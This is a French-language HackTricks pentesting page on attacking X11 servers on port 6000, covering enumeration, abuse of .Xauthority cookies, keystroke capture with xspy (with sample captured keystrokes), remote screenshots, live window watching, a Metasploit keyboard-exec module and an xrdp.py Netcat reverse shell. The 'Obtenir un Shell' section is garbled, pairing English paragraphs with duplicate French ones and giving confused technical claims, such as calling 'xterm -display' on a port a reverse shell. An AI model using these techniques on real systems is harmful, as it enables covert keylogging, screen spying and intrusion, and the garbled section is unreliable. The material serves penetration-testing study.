hacktricks/network-services-pentesting/6000-pentesting-x11.md

267 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6000 - Pentesting X11
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof est la plateforme des primes de bugs cryptographiques.**
**Obtenez des récompenses sans délai**\
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
**Acquérez de l'expérience en pentesting web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
**Devenez la légende du hacker web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
## Informations de base
Le système X Window (alias X) est un système de fenêtrage pour les affichages bitmap, qui est courant sur les systèmes d'exploitation basés sur UNIX. X fournit le cadre de base pour un environnement basé sur une interface graphique. X ne définit pas non plus l'interface utilisateur - chaque programme gère cela.\
De : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
**Port par défaut :** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Énumération
Vérifiez la **connexion anonyme :**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Énumération locale
Le fichier **`.Xauthority`** dans le dossier personnel de l'utilisateur est **utilisé** par **X11 pour l'autorisation**. D'après [**ici**](https://stackoverflow.com/a/37367518):
> MIT-magic-cookie-1: Génération de 128 bits de clé ("cookie"), stockage dans \~/.Xauthority (ou là où la variable d'environnement XAUTHORITY pointe). Le client l'envoie au serveur en clair ! Le serveur vérifie s'il a une copie de ce "cookie" et si c'est le cas, la connexion est autorisée. La clé est générée par DMX.
{% hint style="warning" %}
Pour **utiliser le cookie**, vous devez définir la variable d'environnement : **`export XAUTHORITY=/chemin/vers/.Xauthority`**
{% endhint %}
## Vérification de la connexion
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) pour intercepter les frappes du clavier.
Exemple de sortie :
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Capture d'écran
Lors de la réalisation d'un test de pénétration sur un serveur X11, il peut être utile de capturer des captures d'écran pour documenter les actions effectuées et les résultats obtenus. Les captures d'écran peuvent également être utilisées pour illustrer les vulnérabilités découvertes lors du test.
Pour capturer des captures d'écran sur un serveur X11, vous pouvez utiliser l'outil `xwd`. Cet outil permet de capturer une image de l'écran et de la sauvegarder dans un fichier.
Voici comment utiliser l'outil `xwd` pour capturer une capture d'écran :
1. Ouvrez un terminal sur le serveur X11 que vous souhaitez tester.
2. Exécutez la commande suivante pour capturer une capture d'écran de l'écran principal :
```
xwd -root -out screenshot.xwd
```
Cette commande capture l'écran principal et enregistre l'image dans un fichier appelé `screenshot.xwd`.
3. Pour convertir le fichier `xwd` en un format d'image plus courant, tel que `png` ou `jpeg`, vous pouvez utiliser l'outil `convert` de la suite d'outils ImageMagick. Voici un exemple de commande pour convertir le fichier `xwd` en `png` :
```
convert screenshot.xwd screenshot.png
```
Cette commande convertit le fichier `screenshot.xwd` en `screenshot.png`.
4. Vous pouvez maintenant ouvrir le fichier `screenshot.png` pour afficher la capture d'écran capturée.
La capture d'écran peut être un outil précieux lors de la réalisation d'un test de pénétration sur un serveur X11, car elle permet de documenter les actions effectuées et de fournir des preuves des vulnérabilités découvertes.
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Affichage du bureau à distance
Source : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Voici comment trouver l'ID de la fenêtre en utilisant xwininfo.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Pour **visualiser en direct**, nous devons utiliser
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Obtenir un Shell
To get a shell on a target machine, you can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.
Pour obtenir un shell sur une machine cible, vous pouvez exploiter les vulnérabilités du serveur X11. Le serveur X11 est responsable de la gestion des interfaces utilisateur graphiques sur les systèmes d'exploitation de type Unix.
### X11 Forwarding
X11 Forwarding is a feature that allows you to run graphical applications on a remote machine and display them on your local machine. By enabling X11 Forwarding, the remote machine can send the graphical output to your local machine.
La redirection X11 est une fonctionnalité qui vous permet d'exécuter des applications graphiques sur une machine distante et de les afficher sur votre machine locale. En activant la redirection X11, la machine distante peut envoyer la sortie graphique vers votre machine locale.
To enable X11 Forwarding, you need to set the `DISPLAY` environment variable to the IP address of your local machine followed by `:0.0`. For example:
Pour activer la redirection X11, vous devez définir la variable d'environnement `DISPLAY` sur l'adresse IP de votre machine locale suivie de `:0.0`. Par exemple :
```bash
export DISPLAY=192.168.0.100:0.0
```
### X11 Server Exploitation
If the target machine has an insecure X11 server configuration, you can exploit it to get a shell. Here are some common methods:
Si la machine cible dispose d'une configuration de serveur X11 non sécurisée, vous pouvez l'exploiter pour obtenir un shell. Voici quelques méthodes courantes :
#### X11 Port Forwarding
You can use SSH to forward the X11 port from the target machine to your local machine. This allows you to run X11 applications on the target machine and display them on your local machine.
Vous pouvez utiliser SSH pour rediriger le port X11 de la machine cible vers votre machine locale. Cela vous permet d'exécuter des applications X11 sur la machine cible et de les afficher sur votre machine locale.
To enable X11 port forwarding, use the `-X` or `-Y` option when connecting to the target machine via SSH. For example:
Pour activer la redirection de port X11, utilisez l'option `-X` ou `-Y` lors de la connexion à la machine cible via SSH. Par exemple :
```bash
ssh -X user@target-machine
```
#### X11 Reverse Shell
If you have the ability to run commands on the target machine, you can create a reverse shell using an X11 application. This allows you to establish a connection from the target machine to your local machine.
Si vous avez la possibilité d'exécuter des commandes sur la machine cible, vous pouvez créer un shell inversé à l'aide d'une application X11. Cela vous permet d'établir une connexion de la machine cible vers votre machine locale.
To create an X11 reverse shell, you can use tools like `xterm` or `xcalc` with the `-display` option set to your local machine's IP address and a port of your choice. For example:
Pour créer un shell inversé X11, vous pouvez utiliser des outils tels que `xterm` ou `xcalc` avec l'option `-display` définie sur l'adresse IP de votre machine locale et un port de votre choix. Par exemple :
```bash
xterm -display 192.168.0.100:1234
```
### Conclusion
Exploiting vulnerabilities in the X11 server can provide you with a shell on a target machine. By enabling X11 Forwarding or using X11 port forwarding or reverse shells, you can run commands and interact with the target machine's operating system.
L'exploitation des vulnérabilités du serveur X11 peut vous fournir un shell sur une machine cible. En activant la redirection X11 ou en utilisant la redirection de port X11 ou les shells inversés, vous pouvez exécuter des commandes et interagir avec le système d'exploitation de la machine cible.
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Autre méthode:
**Reverse Shell:** Xrdp permet également de prendre un reverse shell via Netcat. Tapez la commande suivante:
**./xrdp.py \<IP:0> no-disp**
![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg)
Une nouvelle fenêtre de contrôle s'affiche où nous pouvons voir l'option R-shell, comme illustré ci-dessous:
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
Nous allons démarrer le mode d'écoute Netcat sur notre système local sur le port 5555, comme illustré ci-dessous:
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
Ensuite, ajoutez l'adresse IP et le port, puis sélectionnez R-Shell, comme illustré ci-dessous:
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
Maintenant, comme on peut le voir ci-dessous, nous avons un accès complet au système:
![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg)
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
## Shodan
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof est la plateforme des primes pour les bugs de cryptographie.**
**Obtenez des récompenses sans délai**\
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
**Acquérez de l'expérience en pentest web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
**Devenez une légende du hacking web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>